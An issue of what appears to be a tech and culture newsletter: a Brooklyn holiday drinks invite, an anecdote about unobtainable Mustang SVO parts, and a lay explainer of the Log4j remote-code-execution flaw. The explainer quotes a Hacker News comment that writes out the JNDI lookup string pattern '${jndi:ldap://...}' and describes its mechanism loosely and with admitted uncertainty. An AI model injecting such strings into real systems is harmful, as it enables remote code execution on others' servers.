The Executive Edition (12/12/2021)

Are you in NYC? Join us for drinks.

Special subscriber’s only invite. We’re throwing a little holiday party like thing this Wednesday, December 15th in Brooklyn. Here are the details:

When: December 15th, 6pm-9pm(ish)

Where: Outside at Three’s Brewing (Gowanus), 333 Douglass St., Brooklyn, NY 11217

RSVP here. We’d love to meet you if we haven’t.

Bonus from WITI’s Car Correspondent 

Following up on the excellent End of Spare Parts Edition, Ryan McManus wrote up this fun story on contributor’s Slack (if you’ve ever thought of contributing to WITI, contributor’s Slack is an excellent place).

My other car is a 1986 Ford Mustang SVO, a fairly rare car. It was Ford’s misguided and failed attempt to pivot the Mustang brand from V8 American power to a small-displacement, turbocharged, European sports car fighter. It looks like this:

I bring it up because it's an interesting example of the “platform” availability issue I mentioned in the article - even though total production over three years was only in the low tens of thousands (incredibly small numbers for a Mustang), 90% of the car shares parts with every other Mustang of the era, on a platform that lasted from 1979 TO 1993, not to mention a power plant that Ford chucked into a billion cars over 30 years.

Which means a fairly robust spare part aftermarket. If something breaks, I can pretty reliably go to a NAPA and find a replacement.

BUT. The 10% of parts specific to the SVO? They were only made to satisfy the SVO owners. And like I said, only about 10k of those at best (probably less than 1/2 now). So those parts are impossible to get.

An extreme example of this? The passenger side turn signal. The lens on the outside of the headlight here:

So when Ford was moving the tooling for that part out of the factory, it got damaged. And so they looked at the cost of fixing the tool, looked at the total number of SVOs, looked at how many spares there were, and said “eh, fuck it.” And didn't fix it.

Which means there are zero more of those on the planet. The only ones that exist are on the cars that have them. So if you break one, you basically have a worthless car until you can pray one shows up on eBay, like this:

Postscript: The last bit I'd add is that there is an owner's association (SVOCA) to which I belong that is filled with incredibly passionate fans of the SVO, which leads to a bit of a moral quandary: Their own cars are in desperate need of replacement SVO parts, yet getting them means cannibalizing an existing SVO, which is anathema to them. And I'm being serious—when I joined they told me that when others have tried to part out a running SVO, club members have actually shown up at their home to buy the car to "save" it. Along with some strongly worded suggestions to the owner about their behavior. (RMM)

Big Internet Problems

If you haven’t had time to dig into this week’s huge internet security issue, you’ll probably have plenty of time to hear about it. One big component of the severity of a vulnerability is how hard it is to actually execute. As bad as the NSO group is, for instance, what they’re doing hacking phones through Whatsapp and Apple Messages is very hard to do and generally requires access to one or more zero-day vulnerabilities that only they know about.

This week’s vulnerability in the logging tool Log4j requires little more than pasting some text into a search box to gain access to run code on someone else’s server (known as an RCE—a remote code execution vulnerability). The issue was first discovered in Minecraft and has been found all over the rest of the web. Log4j, it turns out, is embedded into a whole bunch of other popular software packages.

If you’re looking for a quick explanation, here’s a good one from the Hacker News comment section:

​​Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out.

Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.

One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

Feels like we’ll be learning the extent of the fallout of this one for a while. (NRB)

Remarks complete. Nothing follows. 

-Colin and Noah